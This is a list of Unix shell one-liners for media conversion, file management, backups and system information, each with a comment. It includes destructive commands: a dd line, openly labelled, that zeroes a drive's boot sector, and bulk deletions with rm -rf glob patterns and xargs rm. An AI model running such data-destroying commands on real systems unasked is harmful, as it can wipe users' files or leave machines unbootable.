curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/'

# Instant mirror from your laptop + webcam (fullscreen+grab)
mplayer -fs -vf screenshot,mirror tv://

# Record MP3 audio via ALSA using ffmpeg
ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3

# find your release version of your ubuntu / debian distro
lsb_release -a

# Delete all but the latest 5 files, ignoring directories
ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm

# Delete all but the latest 5 files
ls -t | tail +6 | xargs rm

# convert a,b,c to ('a','b','c') for use in SQL in-clauses
echo a,b,c  | sed -e s/,/\',\'/g  -e s/^/\(\'/ -e s/$/\'\)/

# Remove all files but one starting with a letter(s)
rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*

# Substitute audio track of video file using mencoder
mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi

# Remove sound from video file using mencoder
mencoder -ovc copy -nosound input.avi -o output.avi

# Incase you miss the famous 'C:\>' prompt
export PS1='C:${PWD//\//\\\}>'

# erase content from a cdrw
cdrecord -v -blank=all -force

# Check variable has been set
[ -z "$VAR" ] && echo "VAR has not been set" && exit 1

# find only current directory (universal)
find . \( ! -name . -prune \) \( -type f -o -type l \)

# FLV to AVI with subtitles and forcing audio sync using mencoder
mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv

# Create multiple mp4 files using avidemux
for i in *;do avidemux  --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done

# Ultimate current directory usage command
find . -maxdepth 1 ! -name '.'  -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs

# Output files without comments or empty lines
function catv { egrep -v "^$|^#" ${*} ; }

# List hostnames of all IPs
for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done

# A DESTRUCTIVE command to render a drive unbootable
dd if=/dev/zero of=/dev/fd0 bs=512 count=1

# Ripping VCD in Linux
cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc

# create tar archive of files in a directory and its sub-directories
tar czf /path/archive_of_foo.`date -I`.tgz /path/foo

# Creat a tar file for backup info
tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/